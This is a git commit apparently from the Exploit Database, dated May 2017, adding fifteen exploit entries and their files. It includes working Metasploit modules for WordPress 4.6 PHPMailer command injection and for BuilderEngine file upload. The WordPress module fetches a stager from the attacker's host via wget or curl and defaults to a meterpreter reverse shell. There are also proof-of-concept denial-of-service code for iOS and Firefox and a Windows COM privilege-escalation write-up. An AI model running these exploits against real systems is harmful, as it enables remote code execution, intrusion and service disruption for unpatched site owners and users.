DB: 2017-05-18

15 new exploits Apple iOS < 10.3.2 - Notifications API Denial of Service Adobe Flash - AVC Deblocking Out-of-Bounds Read Adobe Flash - Margin Handling Heap Corruption Adobe Flash - Out-of-Bounds Read in Getting TextField Width Microsoft Windows - Running Object Table Register ROTFLAGS_ALLOWANYCLIENT Privilege Escalation Mozilla Firefox 50 - 55 - Stack Overflow Denial of Service Microsoft Windows - COM Aggregate Marshaler/IRemUnknown2 Type Confusion Privilege Escalation Dup Scout Enterprise 9.5.14 - GET Buffer Overflow (Metasploit) Serviio Media Server - checkStreamUrl Command Execution (Metasploit) WordPress PHPMailer 4.6 - Host Header Command Injection (Metasploit) BuilderEngine 3.5.0 - Arbitrary File Upload and Execution (Metasploit) Oracle PeopleSoft - XML External Entity to SYSTEM Remote Code Execution Windows x32 / Windows x64 - cmd.exe Shellcode (718 bytes) INFOR EAM 11.0 Build 201410 - 'filtervalue' SQL Injection INFOR EAM 11.0 Build 201410 - Persistent Cross-Site Scripting via Comment Fields
2017-05-18 05:01:18 +00:00 · 2017-05-18 05:01:18 +00:00 · 94f7a8c8f5
commit 94f7a8c8f5
parent cf40ee3ab5
16 changed files with 2202 additions and 0 deletions
--- a/files.csv
+++ b/files.csv
@ -5497,6 +5497,12 @@ id,file,description,date,author,platform,type,port
 42007,platforms/windows/dos/42007.cpp,"Microsoft Windows 10 Kernel - nt!NtTraceControl (EtwpSetProviderTraits) Pool Memory Disclosure",2017-05-15,"Google Security Research",windows,dos,0
 42008,platforms/windows/dos/42008.cpp,"Microsoft Windows 7 Kernel - 'win32k!xxxClientLpkDrawTextEx' Stack Memory Disclosure",2017-05-15,"Google Security Research",windows,dos,0
 42009,platforms/windows/dos/42009.txt,"Microsoft Windows 7 Kernel - Pool-Based Out-of-Bounds Reads Due to bind() Implementation Bugs in afd.sys and tcpip.sys",2017-05-15,"Google Security Research",windows,dos,0
+42014,platforms/ios/dos/42014.txt,"Apple iOS < 10.3.2 - Notifications API Denial of Service",2017-05-17,CoffeeBreakers,ios,dos,0
+42017,platforms/multiple/dos/42017.txt,"Adobe Flash - AVC Deblocking Out-of-Bounds Read",2017-05-17,"Google Security Research",multiple,dos,0
+42018,platforms/multiple/dos/42018.txt,"Adobe Flash - Margin Handling Heap Corruption",2017-05-17,"Google Security Research",multiple,dos,0
+42019,platforms/multiple/dos/42019.txt,"Adobe Flash - Out-of-Bounds Read in Getting TextField Width",2017-05-17,"Google Security Research",multiple,dos,0
+42021,platforms/windows/dos/42021.txt,"Microsoft Windows - Running Object Table Register ROTFLAGS_ALLOWANYCLIENT Privilege Escalation",2017-05-17,"Google Security Research",windows,dos,0
+42027,platforms/multiple/dos/42027.html,"Mozilla Firefox 50 - 55 - Stack Overflow Denial of Service",2017-05-17,"Geeknik Labs",multiple,dos,0
 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
@ -8988,6 +8994,7 @@ id,file,description,date,author,platform,type,port
 41994,platforms/linux/local/41994.c,"Linux Kernel 4.8.0 (Ubuntu) - Packet Socket Local Privilege Escalation",2017-05-11,"Andrey Konovalov",linux,local,0
 41995,platforms/linux/local/41995.c,"Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' & 'SO_RCVBUFFORCE' Local Privilege Escalation",2017-03-22,"Andrey Konovalov",linux,local,0
 41999,platforms/linux/local/41999.txt,"Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Local Privilege Escalation",2016-02-22,"Andrey Konovalov",linux,local,0
+42020,platforms/windows/local/42020.cpp,"Microsoft Windows - COM Aggregate Marshaler/IRemUnknown2 Type Confusion Privilege Escalation",2017-05-17,"Google Security Research",windows,local,0
 1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
 2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
 5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
@ -15510,6 +15517,11 @@ id,file,description,date,author,platform,type,port
 41996,platforms/php/remote/41996.sh,"Vanilla Forums < 2.3 - Remote Code Execution",2017-05-11,"Dawid Golunski",php,remote,0
 42010,platforms/linux/remote/42010.rb,"Quest Privilege Manager - pmmasterd Buffer Overflow (Metasploit)",2017-05-15,Metasploit,linux,remote,0
 42011,platforms/windows/remote/42011.py,"LabF nfsAxe 3.7 FTP Client - Buffer Overflow (SEH)",2017-05-15,Tulpa,windows,remote,0
+42022,platforms/windows/remote/42022.rb,"Dup Scout Enterprise 9.5.14 - GET Buffer Overflow (Metasploit)",2017-05-17,Metasploit,windows,remote,0
+42023,platforms/windows/remote/42023.rb,"Serviio Media Server - checkStreamUrl Command Execution (Metasploit)",2017-05-17,Metasploit,windows,remote,23423
+42024,platforms/php/remote/42024.rb,"WordPress PHPMailer 4.6 - Host Header Command Injection (Metasploit)",2017-05-17,Metasploit,php,remote,0
+42025,platforms/php/remote/42025.rb,"BuilderEngine 3.5.0 - Arbitrary File Upload and Execution (Metasploit)",2017-05-17,Metasploit,php,remote,80
+42026,platforms/xml/remote/42026.py,"Oracle PeopleSoft - XML External Entity to SYSTEM Remote Code Execution",2017-05-17,"Ambionics Security",xml,remote,0
 14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
 13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
 13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
@ -16147,6 +16159,7 @@ id,file,description,date,author,platform,type,port
 41909,platforms/lin_x86/shellcode/41909.c,"Linux/x86 - Egg-hunter Shellcode (18 bytes)",2017-04-22,phackt_ul,lin_x86,shellcode,0
 41969,platforms/lin_x86/shellcode/41969.c,"Linux/x86 - Disable ASLR Shellcode (80 bytes)",2017-05-08,abatchy17,lin_x86,shellcode,0
 41970,platforms/lin_x86-64/shellcode/41970.asm,"Linux/x86-64 - Reverse Shell Shellcode (IPv6) (113 bytes)",2017-05-08,Srakai,lin_x86-64,shellcode,0
+42016,platforms/windows/shellcode/42016.asm,"Windows x32 / Windows x64 - cmd.exe Shellcode (718 bytes)",2017-05-17,"Filippo Bersani",windows,shellcode,0
 6,platforms/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,php,webapps,0
 44,platforms/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",php,webapps,0
 47,platforms/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,php,webapps,0
@ -37855,3 +37868,5 @@ id,file,description,date,author,platform,type,port
 42005,platforms/php/webapps/42005.txt,"Admidio 3.2.8 - Cross-Site Request Forgery",2017-04-28,"Faiz Ahmed Zaidi",php,webapps,0
 42012,platforms/hardware/webapps/42012.txt,"Sophos Web Appliance 4.3.1.1 - Session Fixation",2017-02-28,SlidingWindow,hardware,webapps,0
 42013,platforms/hardware/webapps/42013.txt,"Trend Micro InterScan Web Security Virtual Appliance (IWSVA) 6.5 SP2 - Multiple Vulnerabilities",2017-01-12,SlidingWindow,hardware,webapps,0
+42028,platforms/xml/webapps/42028.txt,"INFOR EAM 11.0 Build 201410 - 'filtervalue' SQL Injection",2017-05-17,Yoroi,xml,webapps,0
+42029,platforms/xml/webapps/42029.txt,"INFOR EAM 11.0 Build 201410 - Persistent Cross-Site Scripting via Comment Fields",2017-05-17,Yoroi,xml,webapps,0
--- a/platforms/ios/dos/42014.txt
+++ b/platforms/ios/dos/42014.txt
@ -0,0 +1,134 @@
+# Exploit Title: Apple iOS < 10.3.2 - Notifications API Denial of Service
+# Date: 05-15-2017
+# Exploit Author: Sem Voigtländer (@OxFEEDFACE), Vincent Desmurs (@vincedes3) and Joseph Shenton
+# Vendor Homepage: https://apple.com
+# Software Link: https://support.apple.com/en-us/HT207798
+# Version: iOS 10.3.2
+# Tested on: iOS 10.3.2 iPhone 6
+# CVE : CVE-2017-6982
+
+# We do not disclose a PoC for remote notifications.
+# PoC for local notifications. (Objective-C).
+
+
+defaults = [NSUserDefaults standardUserDefaults];
+UIUserNotificationType types = UIUserNotificationTypeBadge | UIUserNotificationTypeSound | UIUserNotificationTypeAlert;
+UIUserNotificationSettings *mySettings = [UIUserNotificationSettings settingsForTypes:types categories:nil];
+[[UIApplication sharedApplication] registerUserNotificationSettings:mySettings];
+
+//1
+[defaults setBool:YES forKey:@"notificationIsActive"];
+[defaults synchronize];
+
+NSTimeInterval interval;
+interval = 5; //Time here in second to respring
+UILocalNotification* localNotification = [[UILocalNotification alloc] init];
+localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
+localNotification.alertBody = _crashtext.text;
+localNotification.timeZone = [NSTimeZone defaultTimeZone];
+localNotification.repeatInterval = NSCalendarUnitYear;
+localNotification.soundName = UILocalNotificationDefaultSoundName;
+[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
+
+//2
+[defaults setBool:YES forKey:@"notificationIsActive"];
+[defaults synchronize];
+interval = 5;
+localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
+localNotification.alertBody = _crashtext.text;
+localNotification.timeZone = [NSTimeZone defaultTimeZone];
+localNotification.repeatInterval = NSCalendarUnitYear;
+localNotification.soundName = UILocalNotificationDefaultSoundName;
+[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
+
+//3
+[defaults setBool:YES forKey:@"notificationIsActive"];
+[defaults synchronize];
+interval = 5;
+localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
+localNotification.alertBody = _crashtext.text;
+localNotification.timeZone = [NSTimeZone defaultTimeZone];
+localNotification.repeatInterval = NSCalendarUnitYear;
+localNotification.soundName = UILocalNotificationDefaultSoundName;
+[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
+
+//4
+[defaults setBool:YES forKey:@"notificationIsActive"];
+[defaults synchronize];
+interval = 5;
+localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
+localNotification.alertBody = _crashtext.text;
+localNotification.timeZone = [NSTimeZone defaultTimeZone];
+localNotification.repeatInterval = NSCalendarUnitYear;
+localNotification.soundName = UILocalNotificationDefaultSoundName;
+[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
+
+//5
+[defaults setBool:YES forKey:@"notificationIsActive"];
+[defaults synchronize];
+interval = 5;
+localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
+localNotification.alertBody = _crashtext.text;
+localNotification.timeZone = [NSTimeZone defaultTimeZone];
+localNotification.repeatInterval = NSCalendarUnitYear;
+localNotification.soundName = UILocalNotificationDefaultSoundName;
+[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
+
+//6
+[defaults setBool:YES forKey:@"notificationIsActive"];
+[defaults synchronize];
+interval = 5;
+localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
+localNotification.alertBody = _crashtext.text;
+localNotification.timeZone = [NSTimeZone defaultTimeZone];
+localNotification.repeatInterval = NSCalendarUnitYear;
+localNotification.soundName = UILocalNotificationDefaultSoundName;
+[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
+
+//7
+[defaults setBool:YES forKey:@"notificationIsActive"];
+[defaults synchronize];
+interval = 5;
+localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
+localNotification.alertBody = _crashtext.text;
+localNotification.timeZone = [NSTimeZone defaultTimeZone];
+localNotification.repeatInterval = NSCalendarUnitYear;
+localNotification.soundName = UILocalNotificationDefaultSoundName;
+[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
+
+//8
+[defaults setBool:YES forKey:@"notificationIsActive"];
+[defaults synchronize];
+interval = 5;
+localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
+localNotification.alertBody = _crashtext.text;
+localNotification.timeZone = [NSTimeZone defaultTimeZone];
+localNotification.repeatInterval = NSCalendarUnitYear;
+localNotification.soundName = UILocalNotificationDefaultSoundName;
+[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
+
+//9
+[defaults setBool:YES forKey:@"notificationIsActive"];
+[defaults synchronize];
+interval = 5;
+localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
+localNotification.alertBody = _crashtext.text;
+localNotification.timeZone = [NSTimeZone defaultTimeZone];
+localNotification.repeatInterval = NSCalendarUnitYear;
+localNotification.soundName = UILocalNotificationDefaultSoundName;
+[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
+
+//10
+[defaults setBool:YES forKey:@"notificationIsActive"];
+[defaults synchronize];
+interval = 5;
+localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
+localNotification.alertBody = _crashtext.text;
+localNotification.timeZone = [NSTimeZone defaultTimeZone];
+localNotification.repeatInterval = NSCalendarUnitYear;
+localNotification.soundName = UILocalNotificationDefaultSoundName;
+[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
+
+
+Proof of Concept:
+https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42014.zip
--- a/platforms/multiple/dos/42017.txt
+++ b/platforms/multiple/dos/42017.txt
@ -0,0 +1,7 @@
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1171
+
+The attached swf triggers an out-of-bounds read in AVC deblocking.
+
+
+Proof of Concept:
+https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42017.zip
--- a/platforms/multiple/dos/42018.txt
+++ b/platforms/multiple/dos/42018.txt
@ -0,0 +1,7 @@
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1174
+
+The attached fuzzed swf causes a crash due to heap corruption when processing the margins of a rich text field.
+
+
+Proof of Concept:
+https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42018.zip
--- a/platforms/multiple/dos/42019.txt
+++ b/platforms/multiple/dos/42019.txt
@ -0,0 +1,7 @@
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1211
+
+The attached swf causes an out-of-bounds read in getting the width of a TextField.
+
+
+Proof of Concept:
+https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42019.zip
--- a/platforms/multiple/dos/42027.html
+++ b/platforms/multiple/dos/42027.html
@ -0,0 +1,75 @@
+<!--
+Title:
+==============
+Unpatched Mozilla Firefox v50 - v55 Stack Overflow DoS Vulnerability
+
+References:
+==============
+https://bugzilla.mozilla.org/show_bug.cgi?id=1322307
+
+Timeline:
+==============
+Reported to Mozilla: 2016-12-06
+Mozilla made public: 2016-12-15
+Declined bounty: 2017-01-30
+Advisory released: 2017-05-16
+
+Technical Details:
+==============
+A stack overflow DoS vulnerability affecting Firefox versions 50 through 55 was discovered by Geeknik Labs. This flaw does NOT affect ESR 45 or the latest version of the Tor Browser Bundle. This flaw can be triggered by simply visiting a website with the PoC code embedded in it and requires no further user interaction nor does it require any special privileges. Successful exploitation results in the browser tab crashing.
+
+Security Level:
+==============
+Medium
+
+CVSS Score:
+==============
+3
+
+Proof of Concept:
+==============
+-->
+
+<html>
+<head></head>
+<body>
+<script>
+function done() {
+}
+
+var x = '';
+for (i=0; i<500000; ++i)
+x += '<a>';
+var uri = 'data:image/svg+xml,' + x;
+var i = new Image();
+i.src = uri;
+</script>
+</body>
+</html>
+
+<!--
+Visiting https://bugzilla.mozilla.org/attachment.cgi?id=8817075 may likely crash your browser tab.
+
+Debug Information:
+==============
+
+(ff4.1108): Stack overflow - code c00000fd (first chance)
+First chance exceptions are reported before any exception handling.
+This exception may be expected and handled.
+eax=5e3be520 ebx=00000000 ecx=256fab00 edx=00000001 esi=00000001 edi=256faab0
+eip=5c718053 esp=00802ff4 ebp=00000000 iopl=0 nv up ei pl nz na po nc
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
+xul!mozilla::dom::Element::UnbindFromTree+0x3:
+5c718053 53 push ebx
+
+FAULTING_IP:
+xul!nsINode::doRemoveChildAt+6a [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\nsinode.cpp @ 1910]
+5c805677 8d4df8 lea ecx,[ebp-8]
+
+BUCKET_ID: STACK_OVERFLOW_xul!nsINode::doRemoveChildAt+6a
+PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_xul!nsINode::doRemoveChildAt+6a
+
+Credits:
+==============
+Brian Carpenter, Geeknik Labs, https://twitter.com/geeknik
+-->
--- a/platforms/php/remote/42024.rb
+++ b/platforms/php/remote/42024.rb
@ -0,0 +1,197 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+
+  Rank = AverageRanking
+
+  include Msf::Exploit::Remote::HTTP::Wordpress
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'                => 'WordPress PHPMailer Host Header Command Injection',
+      'Description'         => %q{
+        This module exploits a command injection vulnerability in WordPress
+        version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer,
+        a mail-sending library that is bundled with WordPress.
+
+        A valid WordPress username is required to exploit the vulnerability.
+        Additionally, due to the altered Host header, exploitation is limited to
+        the default virtual host, assuming the header isn't mangled in transit.
+
+        If the target is running Apache 2.2.32 or 2.4.24 and later, the server
+        may have HttpProtocolOptions set to Strict, preventing a Host header
+        containing parens from passing through, making exploitation unlikely.
+      },
+      'Author'              => [
+        'Dawid Golunski', # Vulnerability discovery
+        'wvu'             # Metasploit module
+      ],
+      'References'          => [
+        ['CVE', '2016-10033'],
+        ['URL', 'https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html'],
+        ['URL', 'http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html'],
+        ['URL', 'https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions']
+      ],
+      'DisclosureDate'      => 'May 3 2017',
+      'License'             => MSF_LICENSE,
+      'Platform'            => 'linux',
+      'Arch'                => [ARCH_X86, ARCH_X64],
+      'Privileged'          => false,
+      'Targets'             => [
+        ['WordPress 4.6 / Exim', {}]
+      ],
+      'DefaultTarget'       => 0,
+      'DefaultOptions'      => {
+        'PAYLOAD'           => 'linux/x64/meterpreter_reverse_https',
+        'CMDSTAGER::FLAVOR' => 'wget'
+      },
+      'CmdStagerFlavor'     => ['wget', 'curl']
+    ))
+
+    register_options([
+      OptString.new('USERNAME', [true, 'WordPress username', 'admin'])
+    ])
+
+    register_advanced_options([
+      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
+    ])
+
+    deregister_options('VHOST', 'URIPATH')
+  end
+
+  def check
+    if (version = wordpress_version)
+      version = Gem::Version.new(version)
+    else
+      return CheckCode::Safe
+    end
+
+    vprint_status("WordPress #{version} installed at #{full_uri}")
+
+    if version <= Gem::Version.new('4.6')
+      CheckCode::Appears
+    else
+      CheckCode::Detected
+    end
+  end
+
+  def exploit
+    if check == CheckCode::Safe
+      print_error("Is WordPress installed at #{full_uri} ?")
+      return
+    end
+
+    # Since everything goes through strtolower(), we need lowercase
+    print_status("Generating #{cmdstager_flavor} command stager")
+    @cmdstager = generate_cmdstager(
+      'Path'   => "/#{Rex::Text.rand_text_alpha_lower(8)}",
+      :temp    => datastore['WritableDir'],
+      :file    => File.basename(cmdstager_path),
+      :nospace => true
+    ).join(';')
+
+    print_status("Generating and sending Exim prestager")
+    generate_prestager.each do |command|
+      vprint_status("Sending #{command}")
+      send_request_payload(command)
+    end
+  end
+
+  #
+  # Exploit methods
+  #
+
+  # Absolute paths are required for prestager commands due to execve(2)
+  def generate_prestager
+    prestager = []
+
+    # This is basically sh -c `wget` implemented using Exim string expansions
+    # Badchars we can't encode away: \ for \n (newline) and : outside strings
+    prestager << '/bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}' \
+      "{${readsocket{inet:#{srvhost_addr}:#{srvport}}" \
+      "{get #{get_resource} http/1.0$value$value}}}}}}"
+
+    # CmdStager should rm the file, but it blocks on the payload, so we do it
+    prestager << "/bin/rm -f #{cmdstager_path}"
+  end
+
+  def send_request_payload(command)
+    res = send_request_cgi(
+      'method'        => 'POST',
+      'uri'           => wordpress_url_login,
+      'headers'       => {
+        'Host'        => generate_exim_payload(command)
+      },
+      'vars_get'      => {
+        'action'      => 'lostpassword'
+      },
+      'vars_post'     => {
+        'user_login'  => datastore['USERNAME'],
+        'redirect_to' => '',
+        'wp-submit'   => 'Get New Password'
+      }
+    )
+
+    if res && !res.redirect?
+      if res.code == 200 && res.body.include?('login_error')
+        fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
+      elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
+        fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
+      else
+        fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
+      end
+    end
+
+    res
+  end
+
+  def generate_exim_payload(command)
+    exim_payload  = Rex::Text.rand_text_alpha(8)
+    exim_payload << "(#{Rex::Text.rand_text_alpha(8)} "
+    exim_payload << "-be ${run{#{encode_exim_payload(command)}}}"
+    exim_payload << " #{Rex::Text.rand_text_alpha(8)})"
+  end
+
+  # We can encode away the following badchars using string expansions
+  def encode_exim_payload(command)
+    command.gsub(/[\/ :]/,
+      '/' => '${substr{0}{1}{$spool_directory}}',
+      ' ' => '${substr{10}{1}{$tod_log}}',
+      ':' => '${substr{13}{1}{$tod_log}}'
+    )
+  end
+
+  #
+  # Utility methods
+  #
+
+  def cmdstager_flavor
+    datastore['CMDSTAGER::FLAVOR']
+  end
+
+  def cmdstager_path
+    @cmdstager_path ||=
+      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
+  end
+
+  #
+  # Override methods
+  #
+
+  # Return CmdStager on first request, payload on second
+  def on_request_uri(cli, request)
+    if @cmdstager
+      print_good("Sending #{@cmdstager}")
+      send_response(cli, @cmdstager)
+      @cmdstager = nil
+    else
+      print_good("Sending payload #{datastore['PAYLOAD']}")
+      super
+    end
+  end
+
+end
--- a/platforms/php/remote/42025.rb
+++ b/platforms/php/remote/42025.rb
@ -0,0 +1,108 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::FileDropper
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "BuilderEngine Arbitrary File Upload Vulnerability and execution",
+      'Description'    => %q{
+        This module exploits a vulnerability found in BuilderEngine 3.5.0
+        via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious
+        file, which would result in arbitrary remote code execution under the context of
+        the web server.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'metanubix',   # PoC
+          'Marco Rivoli' # Metasploit
+        ],
+      'References'     =>
+        [
+          ['EDB', '40390']
+        ],
+      'Payload'        =>
+        {
+          'BadChars' => "\x00"
+        },
+      'DefaultOptions'  =>
+        {
+          'EXITFUNC' => 'thread'
+        },
+      'Platform'       => ['php'],
+      'Arch'           => ARCH_PHP,
+      'Targets'        =>
+        [
+          ['BuilderEngine 3.5.0', {}]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => "Sep 18 2016",
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])
+        ])
+  end
+
+  def check
+    uri = target_uri.path
+    uri << '/' if uri[-1,1] != '/'
+
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')
+    })
+
+    if res && res.code == 200 && !res.body.blank?
+      return Exploit::CheckCode::Appears
+    else
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+  def exploit
+    uri = target_uri.path
+
+    peer = "#{rhost}:#{rport}"
+    php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
+    data = Rex::MIME::Message.new
+    payload_encoded = Rex::Text.rand_text_alpha(1)
+    payload_encoded << "<?php "
+    payload_encoded << payload.encoded
+    payload_encoded << " ?>\r\n"
+    data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
+    post_data = data.to_s
+
+    res = send_request_cgi({
+      'uri'    => normalize_uri(uri,'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),
+      'method' => 'POST',
+      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
+      'data'   => post_data
+    })
+
+    if res
+      if res.code == 200 && res.body =~ /files|#{php_pagename}/
+        print_good("Our payload is at: #{php_pagename}. Calling payload...")
+        register_file_for_cleanup(php_pagename)
+      else
+        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
+      end
+    else
+      fail_with(Failure::Unknown, 'ERROR')
+    end
+
+    print_status("Calling payload...")
+    send_request_cgi(
+      'method' => 'GET',
+      'uri'    => normalize_uri(uri,'files/', php_pagename)
+    )
+  end
+end
--- a/platforms/windows/dos/42021.txt
+++ b/platforms/windows/dos/42021.txt
@ -0,0 +1,90 @@
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1112
+
+Windows: Running Object Table Register ROTFLAGS_ALLOWANYCLIENT EoP
+Platform: Windows 10 10586/14393 not tested 8.1 Update 2 or Windows 7
+Class: Elevation of Privilege
+
+Summary:
+By setting an appropriate AppID it’s possible for a normal user process to set a global ROT entry. This can be abused to elevate privileges.
+
+Description:
+
+NOTE: I’m not sure which part of this chain to really report. As far as I can tell it’s pretty much all by design and fixing the initial vector seems difficult. Perhaps this is only a bug which can be fixed to prevent sandbox escapes?
+
+When registering an object in the ROT the default is to only expose that registration to the same user identity on the same desktop/window station. This includes preventing the same user at different ILs (such as between sandbox and normal user) from seeing the same registration. However it could be imagined that you might want to register an entry for all users/contexts so IRunningObjectTable::Register takes a grfFlags parameter with the value  ROTFLAGS_ALLOWANYCLIENT which allows the ROT entry to be exposed to all users. 
+
+The description of this flag indicates it can only be used if the COM process is a Local Service or a RunAs application. In fact there’s an explicit ROTFlags value for the AppID which would grant the privilege to a normal application. Quick testing proves this to be correct, a “normal” application cannot expose the ROT entry to any client as RPCSS does a check that the calling process is allowed to expose the entry. However there are two clear problems with the check. Creating a RunAs COM object in the current session would typically run at the same privilege level as the caller, therefore an application which wanted to abuse this feature could inject code into that process. Secondly while it’s not possible to register a per-user COM object which specifies a RunAs AppID it’s possible to explicitly set the AppID when calling CoInitializeSecurity (either via the GUID or by naming your program to match one which maps to the correct AppID).
+
+Therefore in the current implementation effectively any process, including sandboxed ones should be able to register a global ROT entry. What can we do with this? The ROT is mainly used for OLE duties, for example Word and Visual Studio register entries for each document/project open. It would be nice not to rely on this, so instead I’ll abuse another OLE component, which we’ve seen before, the fact that LoadTypeLib will fall back to a moniker if it can’t find the type library file specified.
+
+If the file loading fails then LoadTypeLib will effectively call MkParseDisplayName on the passed in string. One of the things MPDN does is try and create a file moniker with the string passed in as an argument. File Monikers have an interesting feature, the COM libraries will check if there’s a registered ROT entry for this file moniker already present, if it is instead of creating a new object it will call IRunningObjectTable::GetObject instead when binding. So as we can register a ROT entry for any user in any context we can provide our own implementation of ITypeLib running inside our process, by registering it against the path to the type library any other process which tries to open that library would instead get our spoofed one, assuming we can force the file open to fail.
+
+This is the next key part, looking at the LoadTypeLib implementation the code calls FindTypeLib if this function fails the code will fall back to the moniker route. There’s two opportunities here, firstly CreateFile is called on the path, we could cause this to fail by opening the file with no sharing mode, in theory it should fail. However in practice it doesn’t most type libraries are in system location, if you don’t have the possibility of write permission on the file the OS automatically applies FILE_SHARE_READ which makes it impossible to lock the file in its entirety. Also some TLBs are stored inside a DLL which is then used so this route is out. Instead the other route is more promising, VerifyIsExeOrTlb is called once the file is open to check the type of file to parse. This function tries to load the first 64 bytes and checks for magic signatures. We can cause the read to fail by using the LockFile API to put an exclusive lock on that part of the file. This also has the advantage that it doesn’t affect file mappings so will also work with loaded DLLs. 
+
+We now can cause any user of a type library to get redirected to our “fake” one without abusing impersonation/symbolic link tricks. How can we use this to our advantage? The final trick is to abuse again the auto-generation of Stubs/Proxies from automation compatible interfaces. If we can get a more privileged process to use our type library when creating a COM stub we can cause a number of memory safety issues such as type confusion, arbitrary memory read/writes and extending the vtable to call arbitrary functions. This is an extremely powerful primitive, as long as you can find a more privileged process which uses a dual automation interface. For example the FlashBroker which is installed on every Win8+ machine is intentionally allowed to be created by sandboxed IE/Edge and uses dual interfaces with auto-generated Stubs. We could abuse for example the BrokerPrefSetExceptionDialogSize and BrokerPrefGetExceptionDialogSize to do arbitrary memory writes. This all works because the stub creation has no was of ensuring that the actual server implementation matches the generated stub (at least without full symbols) so it will blindly marshal pointers or call outside of the object's vtable.
+
+Proof of Concept:
+
